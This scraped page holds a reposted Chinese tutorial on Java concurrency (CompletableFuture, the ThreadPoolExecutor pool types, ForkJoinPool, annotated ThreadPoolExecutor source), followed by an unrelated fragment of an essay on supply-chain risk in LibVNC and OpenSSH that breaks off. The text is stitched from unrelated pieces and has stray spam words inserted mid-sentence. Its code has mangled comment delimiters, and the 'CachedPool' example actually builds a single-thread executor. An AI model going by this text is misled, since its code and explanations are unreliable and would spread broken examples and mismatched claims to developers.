T06_01_CompletableFuture {public static void main(String[] args) throws ExecutionException, InterruptedException {long start, end;/start = System.currentTimeMillis();priceOfTM();priceOfTB();priceOfJD();end = System.currentTimeMillis();System.out.println("use serial method call! " + (end - start));/start = System.currentTimeMillis();CompletableFuture<Double> futureTM = CompletableFuture.supplyAsync(()->priceOfTM());CompletableFuture<Double> futureTB = CompletableFuture.supplyAsync(()->priceOfTB());CompletableFuture<Double> futureJD = CompletableFuture.supplyAsync(()->priceOfJD());CompletableFuture.allOf(futureTM, futureTB, futureJD).join();//当所有结果集都获取到，才汇总阻塞CompletableFuture.supplyAsync(()->priceOfTM()).thenApply(String::valueOf).thenApply(str-> "price " + str).thenAccept(System.out::println);end = System.currentTimeMillis();System.out.println("use completable future! " + (end - start));try {System.in.read();} catch (IOException e) {e.printStackTrace();} }private static double priceOfTM() {delay();return 1.00;}private static double priceOfTB() {delay();return 2.00;}private static double priceOfJD() {delay();return 3.00;}/private static double priceOfAmazon() {delay();throw new RuntimeException("product not exist!");}/private static void delay() {int time = new Random().nextInt(500);try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.printf("After %s sleep!\n", time);} } 4、TPE型线程池1：ThreadPoolExecutor 原理及其参数 线程池由两个集合组成，一个集合存储线程，一个集合存储任务 存储线程：可以规定大小，最多可以有多少个，以及指定核心线程数量（不会被回收） 任务队列：存储任务 细节：初始线程池没有线程，当有一个任务来，线程池起一个线程，又有一个任务来，再起一个线程，直到达到核心线程数量 核心线程数量达到时，新来的任务将存储到任务队列中等待核心线程处理完成，直到任务队列也满了 当任务队列满了，此时再次启动一个线程（非核心线程，一旦空闲，达到指定时间将会消失），直到达到线程最大数量 当线程容器和任务容器都满了，又来了线程，将会执行拒绝策略 上面的细节涉及的所有步骤内容，均由创建线程池的参数执行 下面是ThreadPoolExecutor构造方法参数的源码注释 / 用给定的初始值，创建一个新的线程池 @param corePoolSize 核心线程数量 @param maximumPoolSize 最大线程数量 @param keepAliveTime 当线程数大于核心线程数量时，空闲的线程可生存的时间 @param unit 时间单位 @param workQueue 任务队列，只能包含由execute提交的Runnable任务 @param threadFactory 工厂，用于创建线程给线程池调度的工厂，可以自定义 @param handler 拒绝策略(可以自定义，JDK默认提供4种)，当线程边界和队列容量已经满了，新来线程被阻塞时使用的处理程序/public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) JDK提供的4种拒绝策略，不常用，一般都是自己定义拒绝策略 Abort：抛异常 Discard：扔掉，不抛异常 DiscardOldest：扔掉排队时间最久的（将队列中排队时间最久的扔掉，然后让新来的进来） CallerRuns：调用者处理任务（谁通过execute方法提交任务，谁处理） ThreadPoolExecutor继承关系 继承关系：ThreadPoolExecutor->AbstractExectorService类->ExectorService接口->Exector接口 Executors（注意这后面有s） 它可以说是线程池工厂类，我们一般通过它创建线程池，并且它为我们封装了线程 看看下面创建线程池，哪里用到了它 使用实例 import java.io.IOException;import java.util.concurrent.;public class T05_00_HelloThreadPool {static class Task implements Runnable {private int i;public Task(int i) {this.i = i;}@Overridepublic void run() {System.out.println(Thread.currentThread().getName() + " Task " + i);try {System.in.read();} catch (IOException e) {e.printStackTrace();} }@Overridepublic String toString() {return "Task{" +"i=" + i +'}';} }public static void main(String[] args) {ThreadPoolExecutor tpe = new ThreadPoolExecutor(2, 4,60, TimeUnit.SECONDS,new ArrayBlockingQueue<Runnable>(4),Executors.defaultThreadFactory(),new ThreadPoolExecutor.CallerRunsPolicy());//创建线程池，核心2个，最大4个，空闲线程存活时间60s，任务队列容量4，使用默认线程工程，创建线程。拒绝策略是JDK提供的for (int i = 0; i < 8; i++) {tpe.execute(new Task(i));//供提交8次任务}System.out.println(tpe.getQueue());//查看任务队列tpe.execute(new Task(100));//提交新的任务System.out.println(tpe.getQueue());tpe.shutdown();//关闭线程池} } 5、TPE型线程池2：SingleThreadPool 单例线程池(只有一个线程) 为什么有单例线程池 有任务队列，有线程池管理机制 Executors（注意这后面有s） 它可以说是线程池工厂类，我们一般通过它创建线程池，并且它为我们封装了线程 看看下面哪里用到了它 /创建单例线程池，扔5个任务进去，查看输出结果，看看有几个线程执行任务/import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class T07_SingleThreadPool {public static void main(String[] args) {ExecutorService service = Executors.newSingleThreadExecutor();for(int i=0; i<5; i++) {final int j = i;service.execute(()->{System.out.println(j + " " + Thread.currentThread().getName());});} }} 6、TPE型线程池3：CachedPool 缓存，存储线程池 此线程池没有核心线程，来一个任务启动一个线程（最多Integer.MaxValue，不会放在任务队列，因为任务队列容量为0），每个线程空闲后，只能活60s 实例 import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class T07_SingleThreadPool {public static void main(String[] args) {ExecutorService service = Executors.newSingleThreadExecutor();//通过Executors获取池子for(int i=0; i<5; i++) {final int j = i;service.execute(()->{//提交任务System.out.println(j + " " + Thread.currentThread().getName());});}service.shutdown();} } 7、TPE型线程池4：FixedThreadPool 固定线程池 此线次池，用于创建一个固定线程数量的线程池，不会回收 实例 import java.util.ArrayList;import java.util.List;import java.util.concurrent.Callable;import java.util.concurrent.ExecutionException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.Future;public class T09_FixedThreadPool {public static void main(String[] args) throws InterruptedException, ExecutionException {//并发执行long start = System.currentTimeMillis();getPrime(1, 200000); long end = System.currentTimeMillis();System.out.println(end - start);//输出并发执行耗费时间final int cpuCoreNum = 4;//并行执行ExecutorService service = Executors.newFixedThreadPool(cpuCoreNum);MyTask t1 = new MyTask(1, 80000); //1-5 5-10 10-15 15-20MyTask t2 = new MyTask(80001, 130000);MyTask t3 = new MyTask(130001, 170000);MyTask t4 = new MyTask(170001, 200000);Future<List<Integer>> f1 = service.submit(t1);Future<List<Integer>> f2 = service.submit(t2);Future<List<Integer>> f3 = service.submit(t3);Future<List<Integer>> f4 = service.submit(t4);start = System.currentTimeMillis();f1.get();f2.get();f3.get();f4.get();end = System.currentTimeMillis();System.out.println(end - start);//输出并行耗费时间}static class MyTask implements Callable<List<Integer>> {int startPos, endPos;MyTask(int s, int e) {this.startPos = s;this.endPos = e;}@Overridepublic List<Integer> call() throws Exception {List<Integer> r = getPrime(startPos, endPos);return r;} }static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;}static List<Integer> getPrime(int start, int end) {List<Integer> results = new ArrayList<>();for(int i=start; i<=end; i++) {if(isPrime(i)) results.add(i);}return results;} } 8、TPE型线程池5：ScheduledPool 预定，延时线程池 根据延时时间（隔多长时间后运行），排序，哪个线程先执行,用户只需要指定核心线程数量 此线程池返回的池对象，和提交任务方法都不一样，比较涉及到时间 import java.util.Random;import java.util.concurrent.Executors;import java.util.concurrent.ScheduledExecutorService;import java.util.concurrent.TimeUnit;public class T10_ScheduledPool {public static void main(String[] args) {ScheduledExecutorService service = Executors.newScheduledThreadPool(4);service.scheduleAtFixedRate(()->{//提交延时任务try {TimeUnit.MILLISECONDS.sleep(new Random().nextInt(1000));} catch (InterruptedException e) {e.printStackTrace();}System.out.println(Thread.currentThread().getName());}, 0, 500, TimeUnit.MILLISECONDS);//指定延时时间和单位，第一个任务延时0毫秒，之后的任务，延时500毫秒} } 9、手写拒绝策略小例子 import java.util.concurrent.;public class T14_MyRejectedHandler {public static void main(String[] args) {ExecutorService service = new ThreadPoolExecutor(4, 4,0, TimeUnit.SECONDS, new ArrayBlockingQueue<>(6),Executors.defaultThreadFactory(),new MyHandler());//将手写拒绝策略传入}static class MyHandler implements RejectedExecutionHandler {//1、继承RejectedExecutionHandler@Overridepublic void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {//2、重写方法//log("r rejected")//伪代码，表示通过log4j.log()报一下日志，拒绝的时间，线程名//save r kafka mysql redis//可以尝试保存队列//try 3 times //可以尝试几次，比如3次，重新去抢队列，3次还不行就丢弃if(executor.getQueue().size() < 10000) {//尝试条件，如果size>10000了,就执行拒绝策略//try put again();//如果小于10000，尝试将其放到队列中} }} } 10、ForkJoinPool线程池1：ForkJoinPool 前面我们讲过线程分为两大类，TPE和FJP ForkJoinPool（分解汇总任务(将任务细化，最后汇总结果)，少量线程执行多个任务（子任务，TPE做不到先执行子任务），CPU密集型） 适合将大任务切分成多个小任务运行 两个方法，fork()：分子任务，将子任务分配到线程池中 join()：当前任务的计算结果，如果有子任务，等子任务结果返回后再汇总 下面实例实现，一百万个随机数求和，由两种方法实现，一种ForkJoinPool分任务并行，一种使用单线程做 import java.io.IOException;import java.util.Arrays;import java.util.Random;import java.util.concurrent.ForkJoinPool;import java.util.concurrent.RecursiveAction;import java.util.concurrent.RecursiveTask;public class T12_ForkJoinPool {//1000000个随机数求和static int[] nums = new int[1000000];//一堆数static final int MAX_NUM = 50000;//分任务时，每个任务的操作量不能多于50000个，否则就继续细分static Random r = new Random();//使用随机数将数组初始化static {for(int i=0; i<nums.length; i++) {nums[i] = r.nextInt(100);}System.out.println("---" + Arrays.stream(nums).sum()); //stream api 单线程就这么做，一个一个加}//分任务，需要继承，可以继承RecursiveAction(不需要返回值，一般用在不需要返回值的场景)或//RecursiveTask(需要返回值，我们用这个，因为我们需要最后获取求和结果)两个更好实现的类，//他俩继承与ForkJoinTaskstatic class AddTaskRet extends RecursiveTask<Long> {private static final long serialVersionUID = 1L;int start, end;AddTaskRet(int s, int e) {start = s;end = e;}@Overrideprotected Long compute() {if(end-start <= MAX_NUM) {//如果任务操作数小于规定的最大操作数，就进行运算，long sum = 0L;for(int i=start; i<end; i++) sum += nums[i];return sum;//返回结果} //如果分配的操作数大于规定，就继续细分（简单的重中点分，两半）int middle = start + (end-start)/2;//获取中间值AddTaskRet subTask1 = new AddTaskRet(start, middle);//传入起始值和中间值，表示一个子任务AddTaskRet subTask2 = new AddTaskRet(middle, end);//中间值和结尾值，表示一个子任务subTask1.fork();//分任务subTask2.fork();//分任务return subTask1.join() + subTask2.join();//最后返回结果汇总} }public static void main(String[] args) throws IOException {/ForkJoinPool fjp = new ForkJoinPool();AddTask task = new AddTask(0, nums.length);fjp.execute(task);/ForkJoinPool fjp = new ForkJoinPool();//创建线程池AddTaskRet task = new AddTaskRet(0, nums.length);//创建任务fjp.execute(task);//传入任务long result = task.join();//返回汇总结果System.out.println(result);//System.in.read();} } 11、ForkJoinPool线程池2：WorkStealingPool 任务偷取线程池 原来的线程池，都是有一个任务队列，而这个不同，它给每个线程都分配了一个任务队列 当某一个线程的任务队列没有任务，并且自己空闲，它就去其它线程的任务队列中偷任务，所以叫任务偷取线程池 细节：当线程自己从自己的任务队列拿任务时，不需要加锁，但是偷任务时，因为有两个线程，可能发生同步问题，需要加锁 此线程继承FJP 实例 import java.io.IOException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.TimeUnit;public class T11_WorkStealingPool {public static void main(String[] args) throws IOException {ExecutorService service = Executors.newWorkStealingPool();System.out.println(Runtime.getRuntime().availableProcessors());service.execute(new R(1000));service.execute(new R(2000));service.execute(new R(2000));service.execute(new R(2000)); //daemonservice.execute(new R(2000));//由于产生的是精灵线程（守护线程、后台线程），主线程不阻塞的话，看不到输出System.in.read(); }static class R implements Runnable {int time;R(int t) {this.time = t;}@Overridepublic void run() {try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(time + " " + Thread.currentThread().getName());} }} 12、流式API：ParallelStreamAPI 不懂的请参考：https://blog.csdn.net/grd_java/article/details/110265219 实例 import java.util.ArrayList;import java.util.List;import java.util.Random;public class T13_ParallelStreamAPI {public static void main(String[] args) {List<Integer> nums = new ArrayList<>();Random r = new Random();for(int i=0; i<10000; i++) nums.add(1000000 + r.nextInt(1000000));//System.out.println(nums);long start = System.currentTimeMillis();nums.forEach(v->isPrime(v));long end = System.currentTimeMillis();System.out.println(end - start);//使用parallel stream apistart = System.currentTimeMillis();nums.parallelStream().forEach(T13_ParallelStreamAPI::isPrime);//并行流，将任务切分成子任务执行end = System.currentTimeMillis();System.out.println(end - start);}static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;} } 13、总结 总结 Callable相当于一Runnable但是它有返回值 Future：存储执行完产生的结果 FutureTask 相当于Future+Runnable，既可以执行任务，又能获取任务执行的Future结果 CompletableFuture 可以多任务异步，并对多任务控制，整合任务结果，细化完美，比如可以一个任务完成就可以整合结果，也可以所有任务完成才整合结果 4、ThreadPoolExecutor源码解析 依然只讲重点，实际还需要大家按照上篇博客中看源码的方式来看 1、常用变量的解释 // 1. ctl，可以看做一个int类型的数字，高3位表示线程池状态，低29位表示worker数量private final AtomicInteger ctl = new AtomicInteger(ctlOf(RUNNING, 0));// 2. COUNT_BITS，Integer.SIZE为32，所以COUNT_BITS为29private static final int COUNT_BITS = Integer.SIZE - 3;// 3. CAPACITY，线程池允许的最大线程数。1左移29位，然后减1，即为 2^29 - 1private static final int CAPACITY = (1 << COUNT_BITS) - 1;// runState is stored in the high-order bits// 4. 线程池有5种状态，按大小排序如下：RUNNING < SHUTDOWN < STOP < TIDYING < TERMINATEDprivate static final int RUNNING = -1 << COUNT_BITS;private static final int SHUTDOWN = 0 << COUNT_BITS;private static final int STOP = 1 << COUNT_BITS;private static final int TIDYING = 2 << COUNT_BITS;private static final int TERMINATED = 3 << COUNT_BITS;// Packing and unpacking ctl// 5. runStateOf()，获取线程池状态，通过按位与操作，低29位将全部变成0private static int runStateOf(int c) { return c & ~CAPACITY; }// 6. workerCountOf()，获取线程池worker数量，通过按位与操作，高3位将全部变成0private static int workerCountOf(int c) { return c & CAPACITY; }// 7. ctlOf()，根据线程池状态和线程池worker数量，生成ctl值private static int ctlOf(int rs, int wc) { return rs | wc; }/ Bit field accessors that don't require unpacking ctl. These depend on the bit layout and on workerCount being never negative./// 8. runStateLessThan()，线程池状态小于xxprivate static boolean runStateLessThan(int c, int s) {return c < s;}// 9. runStateAtLeast()，线程池状态大于等于xxprivate static boolean runStateAtLeast(int c, int s) {return c >= s;} 2、构造方法 public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) {// 基本类型参数校验if (corePoolSize < 0 ||maximumPoolSize <= 0 ||maximumPoolSize < corePoolSize ||keepAliveTime < 0)throw new IllegalArgumentException();// 空指针校验if (workQueue == null || threadFactory == null || handler == null)throw new NullPointerException();this.corePoolSize = corePoolSize;this.maximumPoolSize = maximumPoolSize;this.workQueue = workQueue;// 根据传入参数unit和keepAliveTime，将存活时间转换为纳秒存到变量keepAliveTime 中this.keepAliveTime = unit.toNanos(keepAliveTime);this.threadFactory = threadFactory;this.handler = handler;} 3、提交执行task的过程 public void execute(Runnable command) {if (command == null)throw new NullPointerException();/ Proceed in 3 steps: 1. If fewer than corePoolSize threads are running, try to start a new thread with the given command as its first task. The call to addWorker atomically checks runState and workerCount, and so prevents false alarms that would add threads when it shouldn't, by returning false. 2. If a task can be successfully queued, then we still need to double-check whether we should have added a thread (because existing ones died since last checking) or that the pool shut down since entry into this method. So we recheck state and if necessary roll back the enqueuing if stopped, or start a new thread if there are none. 3. If we cannot queue task, then we try to add a new thread. If it fails, we know we are shut down or saturated and so reject the task./int c = ctl.get();// worker数量比核心线程数小，直接创建worker执行任务if (workerCountOf(c) < corePoolSize) {if (addWorker(command, true))return;c = ctl.get();}// worker数量超过核心线程数，任务直接进入队列if (isRunning(c) && workQueue.offer(command)) {int recheck = ctl.get();// 线程池状态不是RUNNING状态，说明执行过shutdown命令，需要对新加入的任务执行reject()操作。// 这儿为什么需要recheck，是因为任务入队列前后，线程池的状态可能会发生变化。if (! isRunning(recheck) && remove(command))reject(command);// 这儿为什么需要判断0值，主要是在线程池构造方法中，核心线程数允许为0else if (workerCountOf(recheck) == 0)addWorker(null, false);}// 如果线程池不是运行状态，或者任务进入队列失败，则尝试创建worker执行任务。// 这儿有3点需要注意：// 1. 线程池不是运行状态时，addWorker内部会判断线程池状态// 2. addWorker第2个参数表示是否创建核心线程// 3. addWorker返回false，则说明任务执行失败，需要执行reject操作else if (!addWorker(command, false))reject(command);} 4、addworker源码解析 private boolean addWorker(Runnable firstTask, boolean core) {retry:// 外层自旋for (;;) {int c = ctl.get();int rs = runStateOf(c);// 这个条件写得比较难懂，我对其进行了调整，和下面的条件等价// (rs > SHUTDOWN) || // (rs == SHUTDOWN && firstTask != null) || // (rs == SHUTDOWN && workQueue.isEmpty())// 1. 线程池状态大于SHUTDOWN时，直接返回false// 2. 线程池状态等于SHUTDOWN，且firstTask不为null，直接返回false// 3. 线程池状态等于SHUTDOWN，且队列为空，直接返回false// Check if queue empty only if necessary.if (rs >= SHUTDOWN &&! (rs == SHUTDOWN &&firstTask == null &&! workQueue.isEmpty()))return false;// 内层自旋for (;;) {int wc = workerCountOf(c);// worker数量超过容量，直接返回falseif (wc >= CAPACITY ||wc >= (core ? corePoolSize : maximumPoolSize))return false;// 使用CAS的方式增加worker数量。// 若增加成功，则直接跳出外层循环进入到第二部分if (compareAndIncrementWorkerCount(c))break retry;c = ctl.get(); // Re-read ctl// 线程池状态发生变化，对外层循环进行自旋if (runStateOf(c) != rs)continue retry;// 其他情况，直接内层循环进行自旋即可// else CAS failed due to workerCount change; retry inner loop} }boolean workerStarted = false;boolean workerAdded = false;Worker w = null;try {w = new Worker(firstTask);final Thread t = w.thread;if (t != null) {final ReentrantLock mainLock = this.mainLock;// worker的添加必须是串行的，因此需要加锁mainLock.lock();try {// Recheck while holding lock.// Back out on ThreadFactory failure or if// shut down before lock acquired.// 这儿需要重新检查线程池状态int rs = runStateOf(ctl.get());if (rs < SHUTDOWN ||(rs == SHUTDOWN && firstTask == null)) {// worker已经调用过了start()方法，则不再创建workerif (t.isAlive()) // precheck that t is startablethrow new IllegalThreadStateException();// worker创建并添加到workers成功workers.add(w);// 更新largestPoolSize变量int s = workers.size();if (s > largestPoolSize)largestPoolSize = s;workerAdded = true;} } finally {mainLock.unlock();}// 启动worker线程if (workerAdded) {t.start();workerStarted = true;} }} finally {// worker线程启动失败，说明线程池状态发生了变化（关闭操作被执行），需要进行shutdown相关操作if (! workerStarted)addWorkerFailed(w);}return workerStarted;} 5、线程池worker任务单元 private final class Workerextends AbstractQueuedSynchronizerimplements Runnable{/ This class will never be serialized, but we provide a serialVersionUID to suppress a javac warning./private static final long serialVersionUID = 6138294804551838833L;/ Thread this worker is running in. Null if factory fails. /final Thread thread;/ Initial task to run. Possibly null. /Runnable firstTask;/ Per-thread task counter /volatile long completedTasks;/ Creates with given first task and thread from ThreadFactory. @param firstTask the first task (null if none)/Worker(Runnable firstTask) {setState(-1); // inhibit interrupts until runWorkerthis.firstTask = firstTask;// 这儿是Worker的关键所在，使用了线程工厂创建了一个线程。传入的参数为当前workerthis.thread = getThreadFactory().newThread(this);}/ Delegates main run loop to outer runWorker /public void run() {runWorker(this);}// 省略代码...} 6、核心线程执行逻辑-runworker final void runWorker(Worker w) {Thread wt = Thread.currentThread();Runnable task = w.firstTask;w.firstTask = null;// 调用unlock()是为了让外部可以中断w.unlock(); // allow interrupts// 这个变量用于判断是否进入过自旋（while循环）boolean completedAbruptly = true;try {// 这儿是自旋// 1. 如果firstTask不为null，则执行firstTask；// 2. 如果firstTask为null，则调用getTask()从队列获取任务。// 3. 阻塞队列的特性就是：当队列为空时，当前线程会被阻塞等待while (task != null || (task = getTask()) != null) {// 这儿对worker进行加锁，是为了达到下面的目的// 1. 降低锁范围，提升性能// 2. 保证每个worker执行的任务是串行的w.lock();// If pool is stopping, ensure thread is interrupted;// if not, ensure thread is not interrupted. This// requires a recheck in second case to deal with// shutdownNow race while clearing interrupt// 如果线程池正在停止，则对当前线程进行中断操作if ((runStateAtLeast(ctl.get(), STOP) ||(Thread.interrupted() &&runStateAtLeast(ctl.get(), STOP))) &&!wt.isInterrupted())wt.interrupt();// 执行任务，且在执行前后通过beforeExecute()和afterExecute()来扩展其功能。// 这两个方法在当前类里面为空实现。try {beforeExecute(wt, task);Throwable thrown = null;try {task.run();} catch (RuntimeException x) {thrown = x; throw x;} catch (Error x) {thrown = x; throw x;} catch (Throwable x) {thrown = x; throw new Error(x);} finally {afterExecute(task, thrown);} } finally {// 帮助gctask = null;// 已完成任务数加一 w.completedTasks++;w.unlock();} }completedAbruptly = false;} finally {// 自旋操作被退出，说明线程池正在结束processWorkerExit(w, completedAbruptly);} } 本篇文章为转载内容。原文链接：https://blog.csdn.net/grd_java/article/details/113116244。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...，根据近期的一些历史事件，也做了一些深挖和联想，考虑恶意的上游开发者，如何巧妙（或者说，处心积虑）地将问题引入，并在当前的软件供应链生态体系中，造成远比表面上看起来要深远得多的影响（参见：《深挖CVE-2018-10933（libssh服务端校验绕过）兼谈软件供应链真实威胁》）。 以上这些，抛开体系化的设想，只看案例，可能会得到这样的印象：这种威胁，都是由蓄意的上游或第三方参与者造成的；即便在最极端情况下，假使一个大型软件商或开源组织，被发现存在广泛、恶意的上游代码污染，那它顶多也不过相当于“奥创”一样的邪恶寡头，与其划清界限、清除历史包袱即可，虽然可能有阵痛。 可惜，并非如此。 在我们组织比赛的后半程中，对我们面临的这种威胁类型，不断有孤立的事例看似随机地发生，对此我以随笔的方式对它们做了分析和记录，以下与大家分享。 Ⅰ. 从感染到遗传：LibVNC与TightVNC系列漏洞 2018年12月10日晚9:03，OSS漏洞预警平台弹出的一封漏洞披露邮件，引起了我的注意。披露者是卡巴斯基工控系统漏洞研究组的Pavel Cheremushkin。 一些必要背景 VNC是一套屏幕图像分享和远程操作软件，底层通信为RFB协议，由剑桥某实验室开发，后1999年并入AT&T，2002年关停实验室与项目，VNC开源发布。 VNC本被设计用在局域网环境，且诞生背景决定其更倾向研究性质，商用级安全的缺失始终是个问题。后续有若干新的实现软件，如TightVNC、RealVNC，在公众认知中，AT&T版本已死，后起之秀一定程度上修正了问题。 目前各种更优秀的远程控制和分享协议取代了VNC的位置，尽管例如苹果仍然系统內建VNC作为远程方式。但在非桌面领域，VNC还有我们想不到的重要性，比如工控领域需要远程屏幕传输的场景，这也是为什么这系列漏洞作者会关注这一块。 漏洞技术概况 Pavel总结到，在阶段漏洞挖掘中共上报11个漏洞。在披露邮件中描述了其中4个的技术细节，均在协议数据包处理代码中，漏洞类型古典，分别是全局缓冲区溢出、堆溢出和空指针解引用。其中缓冲区溢出类型漏洞可方便构造PoC，实现远程任意代码执行的漏洞利用。 漏洞本身原理简单，也并不是关键。以其中一个为例，Pavel在发现时负责任地向LibVNC作者提交了issue，并跟进漏洞修复过程；在第一次修复之后，复核并指出修复代码无效，给出了有效patch。这个过程是常规操作。 漏洞疑点 有意思的是，在漏洞披露邮件中，Pavel重点谈了自己对这系列漏洞的一些周边发现，也是这里提到的原因。其中，关于存在漏洞的代码，作者表述： 我最初认为，这些问题是libvnc开发者自己代码中的错误，但看起来并非如此。其中有一些（如CoRRE数据处理函数中的堆缓冲区溢出），出现在AT&T实验室1999年的代码中，而后被很多软件开发者原样复制（在Github上搜索一下HandleCoRREBPP函数，你就知道），LibVNC和TightVNC也是如此。 为了证实，翻阅了这部分代码，确实在其中数据处理相关代码文件看到了剑桥和AT&T实验室的文件头GPL声明注释，中国菜刀 这证实这些文件是直接从最初剑桥实验室版本VNC移植过来的，且使用方式是 直接代码包含，而非独立库引用方式。在官方开源发布并停止更新后，LibVNC使用的这部分代码基本没有改动——除了少数变量命名方式的统一，以及本次漏洞修复。通过搜索，我找到了2000年发布的相关代码文件，确认这些文件与LibVNC中引入的原始版本一致。 另外，Pavel同时反馈了TightVNC中相同的问题。TightVNC与LibVNC没有继承和直接引用关系，但上述VNC代码同样被TightVNC使用，问题的模式不约而同。Pavel测试发现在Ubuntu最新版本TightVNC套件（1.3.10版本）中同样存在该问题，上报给当前软件所有者GlavSoft公司，但对方声称目前精力放在不受GPL限制的TightVNC 2.x版本开发中，对开源的1.x版本漏洞代码“可能会进行修复”。看起来，这个问题被踢给了各大Linux发行版社区来焦虑了——如果他们愿意接锅。 问题思考 在披露邮件中，Pavel认为，这些代码bug“如此明显，让人无法相信之前没被人发现过……也许是因为某些特殊理由才始终没得到修复”。 事实上，我们都知道目前存在一些对开源基础软件进行安全扫描的大型项目，例如Google的OSS；同时，仍然存活的开源项目也越来越注重自身代码发布前的安全扫描，Fortify、Coverity的扫描也成为很多项目和平台的标配。在这样一些眼睛注视下，为什么还有这样的问题？我认为就这个具体事例来说，可能有如下两个因素： ·上游已死。仍然在被维护的代码，存在版本更迭，也存在外界的持续关注、漏洞报告和修复、开发的迭代，对于负责人的开发者，持续跟进、评估、同步代码的改动是可能的。但是一旦一份代码走完了生命周期，就像一段史实一样会很少再被改动。 ·对第三方上游代码的无条件信任。我们很多人都有过基础组件、中间件的开发经历，不乏有人使用Coverity开启全部规则进行代码扫描、严格修复所有提示的问题甚至编程规范warning；报告往往很长，其中也包括有源码形式包含的第三方代码中的问题。但是，我们一方面倾向于认为这些被广泛使用的代码不应存在问题（不然早就被人挖过了），一方面考虑这些引用的代码往往是组件或库的形式被使用，应该有其上下文才能认定是否确实有可被利用的漏洞条件，现在单独扫描这部分代码一般出来的都是误报。所以这些代码的问题都容易被忽视。 但是透过这个具体例子，再延伸思考相关的实践，这里最根本的问题可以总结为一个模式： 复制粘贴风险。复制粘贴并不简单意味着剽窃，实际是当前软件领域、互联网行业发展的基础模式，但其中有一些没人能尝试解决的问题： ·在传统代码领域，如C代码中，对第三方代码功能的复用依赖，往往通过直接进行库的引入实现，第三方代码独立而完整，也较容易进行整体更新；这是最简单的情况，只需要所有下游使用者保证仅使用官方版本，跟进官方更新即可；但在实践中很难如此贯彻，这是下节讨论的问题。 ·有些第三方发布的代码，模式就是需要被源码形式包含到其他项目中进行统一编译使用（例如腾讯的开源Json解析库RapidJSON，就是纯C++头文件形式）。在开源领域有如GPL等规约对此进行规范，下游开发者遵循协议，引用代码，强制或可选地显式保留其GPL声明，可以进行使用和更改。这样的源码依赖关系，结合规范化的changelog声明代码改动，侧面也是为开发过程中跟进考虑。但是一个成型的产品，比如企业自有的服务端底层产品、中间件，新版本的发版更新是复杂的过程，开发者在旧版本仍然“功能正常”的情况下往往倾向于不跟进新版本；而上游代码如果进行安全漏洞修复，通常也都只在其最新版本代码中改动，安全修复与功能迭代并存，如果没有类似Linux发行版社区的努力，旧版本代码完全没有干净的安全更新patch可用。 ·在特定场景下，有些开发实践可能不严格遵循开源代码协议限定，引入了GPL等协议保护的代码而不做声明（以规避相关责任），丢失了引入和版本的信息跟踪；在另一些场景下，可能存在对开源代码进行大刀阔斧的修改、剪裁、定制，以符合自身业务的极端需求，但是过多的修改、人员的迭代造成与官方代码严重的失同步，丧失可维护性。 ·更一般的情况是，在开发中，开发者个体往往心照不宣的存在对网上代码文件、代码片段的复制-粘贴操作。被参考的代码，可能有上述的开源代码，也可能有各种Github作者练手项目、技术博客分享的代码片段、正式开源项目仅用来说明用法的不完备示例代码。这些代码的引入完全无迹可寻，即便是作者自己也很难解释用了什么。这种情况下，上面两条认定的那些与官方安全更新失同步的问题同样存在，且引入了独特的风险：被借鉴的代码可能只是原作者随手写的、仅仅是功能成立的片段，甚至可能是恶意作者随意散布的有安全问题的代码。由此，问题进入了最大的发散空间。 在Synopsys下BLACKDUCK软件之前发布的《2018 Open Source Security and Risk Analysis Report》中分析，96%的应用中包含有开源组件和代码，开源代码在应用全部代码中的占比约为57%，78%的应用中在引用的三方开源代码中存在历史漏洞。也就是说，现在互联网上所有厂商开发的软件、应用，其开发人员自己写的代码都是一少部分，多数都是借鉴来的。而这还只是可统计、可追溯的；至于上面提到的非规范的代码引用，如果也纳入进来考虑，三方代码占应用中的比例会上升到多少？曾经有分析认为至少占80%，我们只期望不会更高。 Ⅱ. 从碎片到乱刃：OpenSSH在野后门一览 在进行基础软件梳理时，回忆到反病毒安全软件提供商ESET在2018年十月发布的一份白皮书《THE DARK SIDE OF THE FORSSHE: A landscape of OpenSSH backdoors》。其站在一个具有广泛用户基础的软件提供商角度，给出了一份分析报告，数据和结论超出我们对于当前基础软件使用全景的估量。以下以我的角度对其中一方面进行解读。 一些必要背景 SSH的作用和重要性无需赘言；虽然我们站在传统互联网公司角度，可以认为SSH是通往生产服务器的生命通道，但当前多样化的产业环境已经不止于此（如之前libssh事件中，不幸被我言中的，SSH在网络设备、IoT设备上（如f5）的广泛使用）。 OpenSSH是目前绝大多数SSH服务端的基础软件，有完备的开发团队、发布规范、维护机制，本身是靠谱的。如同绝大多数基础软件开源项目的做法，OpenSSH对漏洞有及时的响应，针对最新版本代码发出安全补丁，但是各大Linux发行版使用的有各种版本的OpenSSH，这些社区自行负责将官方开发者的安全补丁移植到自己系统搭载的低版本代码上。天空彩 白皮书披露的现状 如果你是一个企业的运维管理人员，需要向企业生产服务器安装OpenSSH或者其它基础软件，最简单的方式当然是使用系统的软件管理安装即可。但是有时候，出于迁移成本考虑，可能企业需要在一个旧版本系统上，使用较新版本的OpenSSL、OpenSSH等基础软件，这些系统不提供，需要自行安装；或者需要一个某有种特殊特性的定制版本。这时，可能会选择从某些rpm包集中站下载某些不具名第三方提供的现成的安装包，或者下载非官方的定制化源码本地编译后安装，总之从这里引入了不确定性。 